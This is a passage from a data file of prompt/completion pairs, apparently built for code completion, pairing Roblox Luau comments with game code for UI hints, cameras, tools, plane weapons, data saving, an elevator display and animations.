game.Players.LocalPlayer"} +{"prompt": "--// All global vars will be wiped/replaced except script\n--// All guis are autonamed client.Variables.CodeName..gui.Name", "completion": "\n\nreturn function(data)\n\tlocal gui = script.Parent.Parent\n\tlocal playergui = service.PlayerGui\n\tlocal str = data.Message\n\tlocal time = data.Time or 15\n\n\t--client.UI.Make(\"HintHolder\")\n\tlocal container = client.UI.Get(\"HintHolder\",nil,true)\n\tif not container then\n\t\tlocal holder = service.New(\"ScreenGui\")\n\t\tlocal hTable = client.UI.Register(holder)\n\t\tlocal frame = service.New(\"ScrollingFrame\", holder)\n\t\tclient.UI.Prepare(holder)\n\t\thTable.Name = \"HintHolder\"\n\t\tframe.Name = \"Frame\"\n\t\tframe.BackgroundTransparency = 1\n\t\tframe.Size = UDim2.new(1, 0, 0,150)\n\t\tframe.CanvasSize = UDim2.new(0, 0, 0, 0)\n\t\tframe.ChildAdded:Connect(function(c)\n\t\t\tif #frame:GetChildren() == 0 then\n\t\t\t\tframe.Visible = false\n\t\t\telse\n\t\t\t\tframe.Visible = true\n\t\t\tend\n\t\tend)\n\n\t\tframe.ChildRemoved:Connect(function(c)\n\t\t\tif #frame:GetChildren() == 0 then\n\t\t\t\tframe.Visible = false\n\t\t\telse\n\t\t\t\tframe.Visible = true\n\t\t\tend\n\t\tend)\n\n\t\tcontainer = hTable\n\t\thTable:Ready()\n\tend\n\tcontainer = container.Object.Frame\n\n\t--// First things first account for notif :)\n\tlocal notif = client.UI.Get(\"Notif\")\n\tlocal topbar = client.UI.Get(\"TopBar\")\n\n\tcontainer.Position = UDim2.new(0,0,0,((notif and 30) or 0) + ((topbar and 40) or 0) - 35)\n\n\tlocal children = container:children()\n\n\tgui.Position = UDim2.new(0,0,0,-100)\n\tgui.Frame.msg.Text = str\n\tlocal bounds = gui.Frame.msg.TextBounds.X\n\t\n\tspawn(function()\n\t\tlocal sound = Instance.new(\"Sound\",service.LocalContainer())\n\t\tsound.SoundId = \"rbxassetid://255881176\"\n\t\tsound.Volume = 0.25\n\t\twait(0.1)\n\t\tsound:Play()\n\t\twait(0.8)\n\t\tsound:Destroy()\n\tend)\n\n\tlocal function moveGuis(m,ignore)\n\t\tm = m or 0\n\t\tlocal max = #container:children()\n\t\tfor i,v in pairs(container:children()) do\n\t\t\tif v~=ignore then\n\t\t\t\tlocal y = (i+m)*28\n\t\t\t\tv.Position = UDim2.new(0,0,0,y)\n\t\t\t\tif i~=max then v.Size = UDim2.new(1,0,0,28) end\n\t\t\tend\n\t\tend\n\tend\n\n\tlocal lom = -1\n\tmoveGuis(-1)\n\tgui.Parent = container\n\tif #container:children()>5 then lom = -2 end\n\tUDim2.new(0,0,0,(#container:children()+lom)*28)\n\tmoveGuis(-1)\n\t--gui:TweenPosition(UDim2.new(0,0,0,(#container:children()+lom)*28),nil,nil,0.3,true,function() if gui and gui.Parent then moveGuis(-1) end end)\n\n\tif #container:children()>5 then\n\t\tlocal gui = container:children()[1]\n\t\tmoveGuis(-2,gui)\n\t\tgui:Destroy()\n\t\t--gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end)\n\tend\n\n\twait(data.Time or 5)\n\n\tif gui and gui.Parent then\n\t\tmoveGuis(-2,gui)\n\t\tgui:Destroy()\n\t\t--gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end)\n\tend\nend\n"} +{"prompt": "-- D\u00e9finir les param\u00e8tres de la cam\u00e9ra", "completion": "\nlocal sensitivity = 0.2 -- Sensibilit\u00e9 de la souris\nlocal maxVerticalAngle = 80 -- Angle vertical maximal\nlocal minVerticalAngle = -80 -- Angle vertical minimal\n"} +{"prompt": "--Attach to character added", "completion": "\nPlayer.CharacterAdded:Connect(function()\n\tCharacter = Player.Character\n\tHRP = Character:WaitForChild(\"HumanoidRootPart\")\n\tHumanoid = Character:WaitForChild(\"Humanoid\")\n\tHumanoid:GetPropertyChangedSignal(\"Sit\"):Connect(function()\n\t\tif Humanoid.Sit then\n\t\t\tButtonGui.Parent = script\n\t\t\tAdornedSeat = nil\n\t\tend\n\tend)\nend)\n"} +{"prompt": "--!strict", "completion": "\nlocal Array = script.Parent\ntype Array = { [number]: T }\nlocal isArray = require(Array.isArray)\nlocal LuauPolyfill = Array.Parent\ntype Object = { [string]: any }\nlocal instanceof = require(LuauPolyfill.instanceof)\nlocal Set\nlocal Map\ntype mapFn = (element: T, index: number) -> U\ntype mapFnWithThisArg = (thisArg: any, element: T, index: number) -> U\n"} +{"prompt": "-- Container for temporary connections (disconnected automatically)", "completion": "\nlocal Connections = {};\n\nfunction DecorateTool.Equip()\n\t-- Enables the tool's equipped functionality\n\n\t-- Start up our interface\n\tShowUI();\n\nend;\n\nfunction DecorateTool.Unequip()\n\t-- Disables the tool's equipped functionality\n\n\t-- Clear unnecessary resources\n\tHideUI();\n\tClearConnections();\n\nend;\n\nfunction ClearConnections()\n\t-- Clears out temporary connections\n\n\tfor ConnectionKey, Connection in pairs(Connections) do\n\t\tConnection:Disconnect();\n\t\tConnections[ConnectionKey] = nil;\n\tend;\n\nend;\n\nfunction ShowUI()\n\t-- Creates and reveals the UI\n\n\t-- Reveal UI if already created\n\tif DecorateTool.UI then\n\n\t\t-- Reveal the UI\n\t\tDecorateTool.UI.Visible = true;\n\n\t\t-- Update the UI every 0.1 seconds\n\t\tUIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);\n\n\t\t-- Skip UI creation\n\t\treturn;\n\n\tend;\n\n\t-- Create the UI\n\tDecorateTool.UI = Core.Tool.Interfaces.BTDecorateToolGUI:Clone();\n\tDecorateTool.UI.Parent = Core.UI;\n\tDecorateTool.UI.Visible = true;\n\n\t-- Enable each decoration type UI\n\tEnableOptionsUI(DecorateTool.UI.Smoke);\n\tEnableOptionsUI(DecorateTool.UI.Fire);\n\tEnableOptionsUI(DecorateTool.UI.Sparkles);\n\n\t-- Update the UI every 0.1 seconds\n\tUIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);\n\nend;\n"} +{"prompt": "---Below: Only change at spaces where i say u have to xd\n--but i made all functions Userfriendly for people like u alex xD", "completion": "\n\n\n\nfunction fireB(Type,AmmoSource)\n\twmissile = bin:findFirstChild(\"Bullet\")\n\tmissile = wmissile:clone()\n\tmissile.CFrame = AmmoSource.CFrame\n\tif(smoke_at_gun == false) then missile.Smoke.Enabled = false end \n\tmissile.WeaponScript.Disabled = false\n\n\tWM = Instance.new(\"Model\")\n\tWM.Name = \"Bullet\"\n\tWM.Parent = game.Players.LocalPlayer.Character\n\tmissile.Parent = WM\n\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = game.Players.LocalPlayer\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = missile\n\n\tmissile.Owner.Value = vehicle\nend\n\nfunction fire(pln,spn)\n\tlocal missile = bin.Rocket:clone()\n\tmissile.CFrame = spn.CFrame * CFrame.new(0, 0, -35)\n\tmissile.Mesh.Scale = Vector3.new(0.3, 0.3, 0.4)-- Resizer in case :3\n\tmissile.RocketScript.Disabled = false\n\tmissile.Parent = game.Workspace \n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = game.Players.LocalPlayer\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = missile\n\t--Rocket ID \n\t--missile.Rocket_ID.Value = pln.Parts.Values.Pln_ID.Value\n\t--Da rest...\n\tmissile.Owner.Value = pln\nend \n\nfunction move(point, engine)--Move Settings. this makes sure that the plane moves correctly. [NOT TO CHANGE!]\n\tlocal origincframe = engine:findFirstChild(\"BodyGyro\").cframe\n\tsize = engine.Size\n\n\ttarget = engine.Position+((point - engine.Position).unit*100)\n\tlocal dir = (target - engine.Position).unit\n\tlocal spawnPos = engine.Position\n\tleft = engine.CFrame*CFrame.new(-size.x/1, 0, 0).p\n\tright = engine.CFrame*CFrame.new(size.x/1, 0, 0).p\n\tmd = (target - engine.Position).magnitude\n\n\tfoebmd = engine.CFrame*CFrame.new(0, 0, -md).p\n\ttoleft = (target -left).magnitude\n\ttoright = (target -right).magnitude\n\trot = 0.5 --((foebmd - target).magnitude/(5*10))\n\tlocal pos = spawnPos + (dir * 1)\n\tengine:findFirstChild(\"BodyGyro\").maxTorque = Vector3.new(9000, 9000, 9000)\n\tif toleft< toright and toleft >rot and taxiing == false then\n\t\tengine:findFirstChild(\"BodyGyro\").cframe = CFrame.new(pos, pos + dir)*CFrame.fromAxisAngle( Vector3.new(0, 0, rot) , math.pi/ 40 )\n\telseif toleft > toright and toright >rot and taxiing == false then\n\t\tengine:findFirstChild(\"BodyGyro\").cframe = CFrame.new(pos, pos + dir)*CFrame.fromAxisAngle( Vector3.new(0, 0,-rot) , math.pi/ 40 )\n\telse\n\t\tengine:findFirstChild(\"BodyGyro\").cframe = CFrame.new(pos, pos + dir)\n\tend\n\twait(0.1)\n\tengine:findFirstChild(\"BodyGyro\").maxTorque = Vector3.new(0, 0, 0)\n\tengine:findFirstChild(\"BodyGyro\").cframe = origincframe\nend\n\n\nfunction computeDirection(vec)--finds the Direction of the place [NOT TO CHANGE!]\n\tlocal lenSquared = vec.magnitude * vec.magnitude\n\tlocal invSqrt = 1 / math.sqrt(lenSquared)\n\treturn Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)\nend\n\n\nfunction findPlane(player)--needed to find the plane. [NOT TO CHANGE!]\n\tlocal list = player.Character:GetChildren()\n\tfor x = 1, #list do\n\t\tif (list[x].Name == \"Plane\") then\n\t\t\tlocal weld = list[x]:FindFirstChild(\"Parts\"):FindFirstChild(\"Seat\"):FindFirstChild(\"SeatWeld\")\n\t\t\tif (weld ~= nil) and (weld.Part1.Name == \"HumanoidRootPart\") then\n\t\t\t\tprint(list[x])\n\t\t\t\treturn list[x]\n\t\t\tend\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction onFollow(mouse) --A function to Follow the mouse [NOT TO CHANGE!]\nif(Mousefollow == false) and (on == true) then\n\twait()\n\tMousefollow = true\nelseif(Mousefollow == true)then\n\twait()\n\tMousefollow = false\nelseif(on == false) then \nMousefollow = false\nend\nend\n\nfunction onButton1Down(mouse)--this is... i forgot but dont change lol xD [NOT TO CHANGE!]\n\tif(Mousefollow == false) then\n\treturn \n\telseif(on == false) and (Mousefollow == true) then \n\tMousefollow = false\n\telseif(Mousefollow == true) and (on == false) then\n\tMousefollow = false\n\telseif(Mousefollow == true) and (on == true) then\n\tlocal vehicle = findPlane(game:GetService(\"Players\").LocalPlayer)\n\tif vehicle ~= nil and debounce == false and planedebounce == false then\n\tdebounce = true\n\n\tcontrolling = true\n\n\twhile Mousefollow == true do---If a error at mouse then here!!\n\t\twait()\n\t\tlocal engine = vehicle.Parts.Engine\n\t\tlocal position = mouse.Hit\n\t\tlocal target = position.p\n\t\tif engine ~= nil then\n\t\tmove(target, engine)\n\t\tend\n\t\tif planedebounce == true or\n\t\tcontrolling == false then break end\n\tend\n\twait(.1)\n\tdebounce = false\n\tend\nend\nend\n\nfunction onButton1Up(mouse)--The mouse function yeh a mouse function lol [NOT TO CHANGE!]\n\tcontrolling = false\nend\nfunction setup(p)\nlocal pln = p\nlocal PS = script.Parent.Parent.Parent.PlayerGui:findFirstChild(\"PlaneStats\").Frame"} +{"prompt": "--[[\n\tReturns an array of `afterEach` hooks in FILO order\n]]", "completion": "\nfunction LifecycleHooks:getAfterEachHooks()\n\tlocal key = TestEnum.NodeType.AfterEach\n\tlocal hooks = {}\n\n\tfor _, level in ipairs(self._stack) do\n\t\tfor _, hook in ipairs(level[key]) do\n\t\t\ttable.insert(hooks, 1, hook)\n\t\tend\n\tend\n\n\treturn hooks\nend\n"} +{"prompt": "----- Private Variables -----", "completion": "\n\nlocal ActiveProfileStores = ProfileService._active_profile_stores\nlocal AutoSaveList = ProfileService._auto_save_list\nlocal IssueQueue = ProfileService._issue_queue\n\nlocal DataStoreService = game:GetService(\"DataStoreService\")\nlocal RunService = game:GetService(\"RunService\")\n\nlocal PlaceId = game.PlaceId\nlocal JobId = game.JobId\n\nlocal AutoSaveIndex = 1 -- Next profile to auto save\nlocal LastAutoSave = os.clock()\n\nlocal LoadIndex = 0\n\nlocal ActiveProfileLoadJobs = 0 -- Number of active threads that are loading in profiles\nlocal ActiveProfileSaveJobs = 0 -- Number of active threads that are saving profiles\n\nlocal CriticalStateStart = 0 -- os.clock()\n\nlocal IsStudio = RunService:IsStudio()\nlocal IsLiveCheckActive = false\n\nlocal UseMockDataStore = false\nlocal MockDataStore = ProfileService._mock_data_store -- Mock data store used when API access is disabled\n\nlocal UserMockDataStore = ProfileService._user_mock_data_store -- Separate mock data store accessed via ProfileStore.Mock\nlocal UseMockTag = {}\n\nlocal CustomWriteQueue = {\n\t--[[\n\t\t[store] = {\n\t\t\t[key] = {\n\t\t\t\tLastWrite = os.clock(),\n\t\t\t\tQueue = {callback, ...},\n\t\t\t\tCleanupJob = nil,\n\t\t\t},\n\t\t\t...\n\t\t},\n\t\t...\n\t--]]\n}\n"} +{"prompt": "-- << SETUP >>\n--Autosave", "completion": "\nspawn(function()\n\twhile wait(autosaveInterval) do\n\t\tfor player, pdata in pairs(main.pd) do\n\t\t\tif main.players:FindFirstChild(player.Name) == nil then\n\t\t\t\tpdata = nil\n\t\t\telse\n\t\t\t\tsavePlayerData(player)\n\t\t\tend\n\t\tend\n\tend\nend)\n\n\n"} +{"prompt": "--Stickmasterluke", "completion": "\n\n\nsp=script.Parent\n\n\nwhile sp:FindFirstChild(\"Scope\")==nil or sp:FindFirstChild(\"Frame1\")==nil or sp:FindFirstChild(\"Frame2\")==nil do\n\twait()\nend\n\nfunction update()\n\tsp.Scope.Position=UDim2.new(.5,-10-(sp.AbsoluteSize.y/2),0,-10)\n\tsp.Scope.Size=UDim2.new(0,20+sp.AbsoluteSize.y,0,20+sp.AbsoluteSize.y)\n\tsp.Frame1.Size=UDim2.new(0,20+((sp.AbsoluteSize.x-sp.AbsoluteSize.y)/2),1,20)\n\tsp.Frame2.Size=UDim2.new(0,20+((sp.AbsoluteSize.x-sp.AbsoluteSize.y)/2),1,20)\n\tsp.Frame2.Position=UDim2.new(1,-10-((sp.AbsoluteSize.x-sp.AbsoluteSize.y)/2),0,-10)\nend\n\nsp.Changed:connect(update)\n\n"} +{"prompt": "-- [ SETTINGS ] --", "completion": "\n\nlocal statsName = \"Minutes\" -- Your stats name\nlocal maxItems = 50 -- Max number of items to be displayed on the leaderboard\nlocal minValueDisplay = 1 -- Any numbers lower than this will be excluded\nlocal maxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded\nlocal abbreviateValue = true -- The displayed number gets abbreviated to make it \"human readable\"\nlocal updateEvery = 60 -- (in seconds) How often the leaderboard has to update\nlocal headingColor = Color3.fromRGB(25, 181, 254) -- The background color of the heading\n"} +{"prompt": "--[[\n\tLoads Module Functions for testing\n\tStudio Only!\n\tPhoenix\n]]", "completion": "\n\nlocal Run = true\n\nif game:GetService(\"RunService\"):IsStudio() == true or Run == true then\n\tfor Index, Module in pairs(script.Parent.Modules:GetChildren()) do\n\t\tlocal Ran, Err = pcall(require(Module))\n\n\t\tif Err then\n\t\t\twarn(\"Module Function: \".. tostring(Module.Name) .. \" ran into an error;\\n\".. tostring(Err))\n\t\telse\n\t\t\t--print(\"Module Function: \".. tostring(Module.Name) .. \" ran with no errors\")\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Milliseconds allowed for region queries every frame", "completion": "\nlocal FRAME_BUDGET = 3\n"} +{"prompt": "--[[\np1.Parent = nil\np2.Parent = nil\np3.Parent = nil \np4.Parent = nil\n]]", "completion": " \n\tif not enabled then\n\t\treturn\n\tend\n\tenabled = false\n\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\n\twait(4.4)\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tenabled = true\n\nend\n\nfunction onEquippedLocal(mouse)\n\t\n\n\n\tif mouse == nil then\n\t\tprint(\"Mouse not found\")\n\t\treturn \n\tend\n\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function() onButton1Down(mouse) end)\n\t--mouse.Button1Up:connect(function() unButton1Down(mouse) end)\nend\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nArwTime = 0.2\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,43 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Color = (l:sub(r,r) == \"1\" and enabledClr or disabledClr)\n\t\t\tend\n\t\tend\n\tend\nend\n\nwhile wait() do\n if Lift:WaitForChild(\"MotorMode\").Value ~= \"idle\" then\n\t if Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\t\tThis.Display.ARW1.U1.Color = arwFadingUp1\n\t\t\tThis.Display.ARW1.U2.Color = arwFadingUp2\n\t\t\tThis.Display.ARW1.U3.Color = arwFadingUp3\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = arwFadingUp1\n\t\t\tThis.Display.ARW1.U3.Color = arwFadingUp2\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = arwFadingUp1\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = arwFadingUp3\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = arwFadingUp2\n\t\t\tThis.Display.ARW1.U2.Color = arwFadingUp3\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t elseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = arwFadingDown1\n\t\t\tThis.Display.ARW1.D2.Color = arwFadingDown2\n\t\t\tThis.Display.ARW1.D3.Color = arwFadingDown3\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = arwFadingDown1\n\t\t\tThis.Display.ARW1.D3.Color = arwFadingDown2\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = arwFadingDown1\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = arwFadingDown3\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = arwFadingDown2\n\t\t\tThis.Display.ARW1.D2.Color = arwFadingDown3\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\telse\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t end\n\telse\n\t if Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\t\tThis.Display.ARW1.U1.Color = arwFadingUp1\n\t\t\tThis.Display.ARW1.U2.Color = arwFadingUp2\n\t\t\tThis.Display.ARW1.U3.Color = arwFadingUp3\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t elseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = arwFadingDown1\n\t\t\tThis.Display.ARW1.D2.Color = arwFadingDown2\n\t\t\tThis.Display.ARW1.D3.Color = arwFadingDown3\n\t\telse\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t end\n\tend\n\n\tif Lift:WaitForChild(\"Mode\").Value ~= \"auto\" then\n\t\tThis.Legends.OOS.Color = oosClr\n\telse\n\t\tThis.Legends.OOS.Color = disabledClr\n\tend\n\n\tif Lift.Car.Sensor:FindFirstChild(\"Script\") then\n\t\tif Lift.Car.Sensor.Script.IsOverload.Value == true then\n\t\t\tThis.Legends.OL.Color = overloadClr\n\t\telse\n\t\t\tThis.Legends.OL.Color = disabledClr\n\t\tend\n\tend\nend\n"} +{"prompt": "-------------------Weapons-------------------", "completion": "\nif(key == \"z\") then\nshow_ammo = true\nend \n\nif(key == keys.minigun) and on then \n\t\tminigun_shoot = true\n\t\twhile minigun_shoot do\n\t\tif(minigun.left ~= 0) then\n\t\tgetBullet(\"GunA\") \n\t\tminigun.left = minigun.left -1\n\t\tend \n\t\tif(minigun.right ~= 0) then\n\t\tgetBullet(\"GunB\")\n\t\tminigun.right = minigun.right -1\n\t\tend \n\t\twait(shoot_rate)\n\t\tend\nend \n\t\nif(key == \"f\") and on then\n\t\tif(missile_side == 1) then\n\t\t\t\tif(hydra.right ~= 0) then \n\t\t\t\t\tGetmissile(\"LaunchB\")\n\t\t\t\t\tmissile_side = 2\n\t\t\t\tend\n\t\telseif(missile_side == 2) then\n\t\t\t\tif(hydra.left ~= 0) then \n\t\t\t\t\tGetmissile(\"LaunchA\")\n\t\t\t\t\tmissile_side = 1\n\t\t\t\tend\n\t\tend\nend \n\n"} +{"prompt": "-----------------------------------------------------------------------", "completion": "\nscript.Parent.Parent.Parent.Parent.Character.Parent = game.Workspace\nscript.Parent.BackgroundColor3 = Color3.new(0.333, 0.333, 0.333)\nscript.Parent.LocalScript.Disabled = false\nscript.Parent.Parent.Parent.Parent.Character.Humanoid.HipHeight = 1\nwait(0.1)\nscript.Parent.Parent.Parent.Parent.Character.Humanoid.HipHeight = 0"} +{"prompt": "-----------------\n--| Constants |--\n-----------------", "completion": "\n\nlocal BLAST_RADIUS = 7\nlocal BLAST_PRESSURE = 1000000\n\nlocal IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these"} +{"prompt": "----[[ Color Settings ]]", "completion": "\nmodule.BackGroundColor = Color3.new(0, 0, 0)\nmodule.DefaultMessageColor = Color3.new(1, 1, 1)\nmodule.DefaultNameColor = Color3.new(1, 1, 1)\nmodule.ChatBarBackGroundColor = Color3.new(0, 0, 0)\nmodule.ChatBarBoxColor = Color3.new(85, 0, 127)\nmodule.ChatBarTextColor = Color3.new(255,255,255)\nmodule.ChannelsTabUnselectedColor = Color3.new(20, 0, 0)\nmodule.ChannelsTabSelectedColor = Color3.new(30/255, 30/255, 30/255)\nmodule.DefaultChannelNameColor = Color3.fromRGB(35, 76, 142)\nmodule.WhisperChannelNameColor = Color3.fromRGB(102, 14, 102)\nmodule.ErrorMessageTextColor = Color3.fromRGB(245, 50, 50)\n"} +{"prompt": "-- defines subject and height of VR camera", "completion": "\nfunction VRBaseCamera:GetVRFocus(subjectPosition, timeDelta)\n\tlocal lastFocus = self.lastCameraFocus or subjectPosition\n\n\tself.cameraTranslationConstraints = Vector3.new(\n\t\tself.cameraTranslationConstraints.x,\n\t\tmath.min(1, self.cameraTranslationConstraints.y + timeDelta),\n\t\tself.cameraTranslationConstraints.z)\n\n\tlocal cameraHeightDelta = Vector3.new(0, self:GetCameraHeight(), 0)\n\tlocal newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):\n\t\t\tlerp(subjectPosition + cameraHeightDelta, self.cameraTranslationConstraints.y))\n\n\treturn newFocus\nend\n"} +{"prompt": "--[[\nfor i, car in pairs(workspace.Cars:GetChildren()) do\n\tenableCarPhysics(car)\nend\n]]", "completion": "\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------\n-- STATE CHANGE HANDLERS", "completion": "\n\nfunction onRunning(speed)\n\tif speed > 0.75 then\n\t\tlocal scale = 16\n\t\tlocal speedToPlay = calculateRunSpeed(speed / scale)\n\t\tplayAnimation(\"walk\", 0.2, Humanoid, speedToPlay)\n\t\tpose = \"Running\"\n\telse\n\t\tif not currentlyPlayingEmote then\n\t\t\tplayAnimation(\"idle\", 0.2, Humanoid)\n\t\t\tpose = \"Standing\"\n\t\tend\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, Humanoid)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing(speed)\n\tlocal scale = 5.0\n\tplayAnimation(\"climb\", 0.1, Humanoid, speed / scale)"} +{"prompt": "--- Update instance state and track changes.", "completion": "\nfunction ScopeHierarchyItemButton:didMount()\n self:UpdateInstanceState()\n self:StartTrackingInstance()\n\n -- Set up content size listener\n if self.LayoutRef.current then\n local Layout = self.LayoutRef.current\n local LayoutChanged = Layout:GetPropertyChangedSignal('AbsoluteContentSize')\n self.UpdateContainerSize(UDim2.new(0, Layout.AbsoluteContentSize.X, 0, 38/2))\n self.Maid.LayoutListener = LayoutChanged:Connect(function ()\n self.UpdateContainerSize(UDim2.new(0, Layout.AbsoluteContentSize.X, 0, 38/2))\n end)\n end\nend\n"} +{"prompt": "-- p = period\n-- a = amplitud", "completion": "\nlocal function inOutElastic(t, b, c, d, a, p)\n local s = 0;\n if t == 0 then return b end\n\n t = t / d * 2\n\n if t == 2 then return b + c end\n\n if not p then p = d * (0.3 * 1.5) end\n if not a then a = 0 end\n\n if not a or a < abs(c) then\n a = c\n s = p / 4\n else\n 